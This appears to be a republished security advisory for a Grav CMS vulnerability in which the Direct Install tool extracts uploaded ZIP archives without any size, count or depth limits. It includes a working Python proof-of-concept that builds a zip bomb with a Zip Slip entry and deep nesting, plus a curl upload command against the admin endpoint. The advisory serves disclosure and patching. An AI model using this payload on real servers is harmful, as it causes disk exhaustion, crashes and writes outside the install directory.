
Loading

Loading
We use strictly necessary cookies to run this site, and analytics cookies to understand how it's used. See our Privacy Policy for details.
A GitHub-reviewed security advisory, not necessarily under active exploitation the way our CISA KEV advisories are, but a real, disclosed vulnerability in an open-source dependency.
Affected packages
Vulnerable: >= 1.0.0, < 2.0.0
Patched in 2.0.0
Details
An authenticated admin.super user can crash Grav or fill the disk by uploading a specially crafted ZIP archive through the Direct Install tool. The method Installer::unZip() calls ZipArchive::extractTo() without any limit on uncompressed size, entry count, or directory depth, enabling Zip Bomb (CWE-409), stack overflow (CWE-674), and disk/inode exhaustion.
The vulnerability is in system/src/Grav/Common/GPM/Installer.php:176-208 (Installer::unZip()). The ZipArchive::extractTo() call at line 184 is not preceded by any validation of the archive contents.
Missing validation:
Folder::doDelete() — CWE-674)The subsequent cleanup call Folder::delete($destination) at line 189 recursively deletes every subdirectory without depth limit (Folder.php:531-547). A ZIP with thousands of nested directories will cause PHP's maximum nesting level to be exceeded, so the cleanup fails silently and leaves extracted files on disk.
The existing Zip Slip fix (GHSA-w48r-jppp-rcfw / CVE-2026-42607, commit 5a12f9be8) only checks for ../ in entry paths and does not add any size, count, or depth limits.
Generate the malicious ZIP:
python3 cve_poc_grav_zip.py:
#!/usr/bin/env python3
"""
CVE PoC — Grav CMS Installer::unZip()
Zip Bomb + Zip Slip + Deep Nesting
ZIP file to attach to the CVE advisory.
Note: Zip Slip (../) already has CVE-2026-42607. This PoC targets the Zip Bomb (CWE-409)
which has NO CVE — extracted size/depth/count have no limits.
"""
import zipfile, os, sys
OUT = "/tmp/cve_poc_grav.zip"
def build():
with zipfile.ZipFile(OUT, 'w', zipfile.ZIP_DEFLATED) as z:
# --- Zip Slip: arbitrary write outside target ---
z.writestr("../../../tmp/CVE_POC_SLIP", "ZIP SLIP: writes outside target\n")
# --- Deep nesting: 100 levels → Folder::delete() has no depth limit ---
for i in range(100):
z.writestr(f"deep/{'x/' * i}.keep", "")
# --- Compression bomb: 100 identical files = ratio ~ 196:1 ---
for i in range(100):
z.writestr(f"bomb/{i}.dat", b"A" * 100_000)
with zipfile.ZipFile(OUT) as z:
infos = z.infolist()
compressed = os.path.getsize(OUT)
uncompressed = sum(e.file_size for e in infos)
slip = any(".." in e.filename for e in infos)
depths = [e.filename.count('/') for e in infos]
print("=" * 60)
print("CVE PoC — Grav CMS Installer::unZip()")
print("Zip Bomb | Zip Slip | Deep Nesting")
print("=" * 60)
print(f"File : {OUT}")
print(f"ZIP size : {compressed:,} B ({compressed/1024:.1f} KB)")
print(f"Uncompressed : {uncompressed:,} B ({uncompressed/1024/1024:.1f} MB)")
print(f"Ratio : {uncompressed/compressed:.0f}:1")
print(f"Entries : {len(infos)}")
print(f"Max depth : {max(depths) if depths else 0}")
print(f"Zip Slip (../) : {'YES' if slip else 'NO'}")
print(f"\nUpload via Grav Admin → /admin/tools/direct-install?task=directInstall")
print(f"Result: disk exhaustion + Folder::delete() stack overflow + arbitrary write")
if __name__ == "__main__":
build()
Authenticate as admin.super and retrieve the nonce from /admin
Upload through Direct Install:
curl -X POST 'https://target/admin/tools/direct-install?task=directInstall' \
-H 'Cookie: grav-admin=<SESSION>' \
-F 'admin-nonce=<NONCE>' \
-F 'uploaded_file=@/tmp/cve_poc_grav.zip'
Result: server extracts all entries (9.5 MB → 200 files + 100 nesting levels). The cleanup crashes with "Maximum function nesting level reached" due to 100-level deep recursion.
An authenticated administrator (admin.super) can:
EPSS, exploit probability
Low0.60%
estimated chance of real-world exploitation in the next 30 days, higher than 48.7% of every CVE FIRST.org scores
Refreshed 11/1/2026, via FIRST.org's EPSS model, not CVSS, this measures likelihood of exploitation, not how severe it would be.
Talk to us about this
Find out whether this dependency (or others like it) is actually reachable in your codebase.
Get help patching, or building dependency-scanning into your pipeline going forward.
A secure code review or supply chain review finds this before an advisory does.